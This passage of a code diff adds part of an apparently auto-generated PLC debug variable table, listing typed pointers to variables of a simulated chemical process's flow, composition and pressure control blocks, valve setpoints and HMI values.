REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), 